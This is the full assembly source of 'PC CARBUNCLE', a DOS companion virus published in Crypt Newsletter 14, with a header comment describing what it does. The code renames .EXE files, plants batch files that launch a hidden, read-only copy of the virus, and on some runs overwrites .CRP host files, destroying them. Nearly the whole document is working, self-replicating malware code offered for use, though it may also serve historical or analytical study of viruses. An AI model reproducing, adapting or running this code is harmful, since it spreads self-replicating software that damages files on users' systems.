;The PC CARBUNCLE VIRUS - a companion virus for Crypt Newsletter 14 ;The PC Carbuncle is a "toy" virus which will search out every .EXEfile ;in the current directory, rename it with a .CRP [for Crypt] extent and ;create a batchfile. The batchfile calls the PC Carbuncle [which has ;copied itself to a hidden file in the directory], renames the host ;file to its NORMAL extent, executes it, hides it as a .CRP file once ;again and issues a few error messages. The host files function ;normally. Occasionaly, the PC Carbuncle will copy itself to a few ;of the host .CRP files, destroying them. The majority of the host ;files in the PC Carbuncle-controlled directory will continue to function, ;in any case. If the user discovers the .CRP and .BAT files and is smart ;enough to delete the batchfiles and rename the .CRP hosts to their ;normal .EXE extents, the .CRPfiles which have been infected by the ;virus will re-establish the infection in the directory. ;--Urnst Kouch, Crypt Newsletter 14 .radix 16 code segment model small assume cs:code, ds:code, es:code org 100h begin: jmp vir_start db 'áť.šâNst†d‰M–$' ; name exit: mov ah, 4Ch ; exit to DOS int 21h vir_start: mov ah,2Ch ; DOS get system time. int 21h ; <--alter values to suit cmp dh,10 ; is seconds > 10? jg batch_stage ; if so, be quiet (jg) ; with the virus counter, this feature arrests the ; overwriting infection so ; computing isn't ; horribly disrupted ; when the virus is about mov al,5 ; infect only a few files mov count,al ; by establishing a counter start: mov ah,4Eh ; <----find first file of recurse: mov dx,offset crp_ext ; matching filemask, "*.crp" int 21h ; because PC CARBUNCLE has ; in most cases, already created ; them. jc batch_stage ; jump on carry to ; spawn if no .CRPfiles found mov ax,3D01h ; open .CRPfile r/w mov dx,009Eh int 21h mov bh,40h ; mov dx,0100h ; starting from beginning xchg ax,bx ; put handle in ax mov cl,2Ah ; to write: PC CARBUNCLE int 21h ; write the virus mov ah,3Eh ; close the file int 21h dec count ; take one off the count jz exit ; and exit when a few files ; are overwritten with virus mov ah,4Fh ; find next file jmp Short recurse ; and continue until all .CRP ; files converted to PC ; CARBUNCLE's ret batch_stage: mov dx,offset file_create ; create file, name of mov cx,0 ; CARBUNCL.COM mov ah,3ch int 21h ; Write virus body to file mov bx,ax mov cx,offset last - offset begin mov dx,100h mov ah,40h int 21h ; Close file mov ah,3eh ; ASSUMES bx still has file handle int 21h ; Change attributes mov dx,offset file_create ; of created file to mov cx,3 ;(1) read only and (2) hidden mov ax,4301h int 21h ; get DTA mov ah, 1Ah ; where to put dta lea DX, [LAST+90H] int 21h mov ah, 4Eh ; find first .EXE file small_loop: ; to CARBUNCL-ize lea dx, [vict_ext] ; searchmask, *.exe int 21h jc exit mov si, offset last + 90h + 30d ; save name mov di, offset orig_name mov cx, 12d rep movsb mov si, offset orig_name ; put name in bat buffer mov di, offset bat_name mov cx, 12d rep movsb cld mov di, offset bat_name mov al, '.' mov cx, 9d repne scasb push cx cmp word ptr es:[di-3],'SU' ; useless rubbish jne cont mov ah, 4fh jmp small_loop cont: mov si, offset bat_ext ;fix bat mov cx, 3 rep movsb pop cx mov si, offset blank ;further fix bat rep movsb mov si, offset orig_name ; fill rename mov di, offset rename_name mov cx, 12d rep movsb mov di, offset rename_name mov al, '.' mov cx, 9 repne scasb push cx mov si, offset moc_ext ; fix rename mov cx, 3 rep movsb pop cx mov si, offset blank ; further fix rename rep movsb ; copy the string over mov di, offset orig_name mov al, ' ' mov cx, 12 repne scasb mov si, offset blank ; put a few blanks rep movsb mov si, offset orig_name ;fill in the created batfile mov di, offset com1 mov cx, 12d rep movsb mov si, offset orig_name ; more fill mov di, offset com2 mov cx, 12d rep movsb mov si, offset orig_name ; copy more fill mov di, offset com3 mov cx, 12d rep movsb mov si, offset blank point_srch: dec di ; get rid of an annoying cmp byte ptr [di], 00 ; period jne point_srch rep movsb mov si, offset rename_name ; copy more fill mov di, offset moc1 mov cx, 12d rep movsb mov si, offset rename_name ; copy still more fill mov di, offset moc2 mov cx, 12d rep movsb mov dx, offset orig_name ; rename original file mov di, offset rename_name ; to new .CRP name mov ah, 56h int 21h mov dx, offset bat_name ; create batfile xor cx, cx mov ah, 3Ch int 21h mov bx, ax mov cx, (offset l_bat - offset s_bat) ; length of batfile mov dx, offset s_bat ; write to file mov ah, 40h int 21h mov ah, 3eh ; close batfile int 21h next_vict: mov ah, 4fh ; find the next host jmp small_loop ; and create more ; "controlled" .CRPs count db 90h ;<---count buffer, bogus value crp_ext db "*.crp",0 ;<---- searchmask for PC CARBUNCLE file_create db "CARBUNCL.COM",0 ;<---CARBUNCL shadow virus bat_ext db "BAT" Vict_ext db "*.exe",0 ;<----searchmask for hosts to CARBUNCL-ize moc_ext db "CRP" ; new extent for CARBUNCL-ized hosts blank db " " ;blanks for filling batchfile S_bat: db "@ECHO OFF",0Dh,0Ah ; <--batchfile command lines db "CARBUNCL",0Dh,0Ah ; call PC CARBUNCL shadow virus db "RENAME " moc1 db 12 dup (' '),' ' com1 db 12 dup (' '),0dh,0ah com2 db 12 dup (' '),0dh,0ah db "RENAME " com3 db 12 dup (' '),' ' moc2 db 12 dup (' '),0dh,0ah db "CARBUNCL",0Dh,0Ah,01Ah ;<---put dumb message here L_bat: ; format "ECHO Fuck you lamer" note: db "PC CARBUNCLE: Crypt Newsletter 14",0 bat_name db 12 dup (' '),0 ; on the fly workspace rename_name db 12 dup (' '),0 orig_name db 12 dup (' '),0 Last: ;<---- end of virus place-holder code ends end begin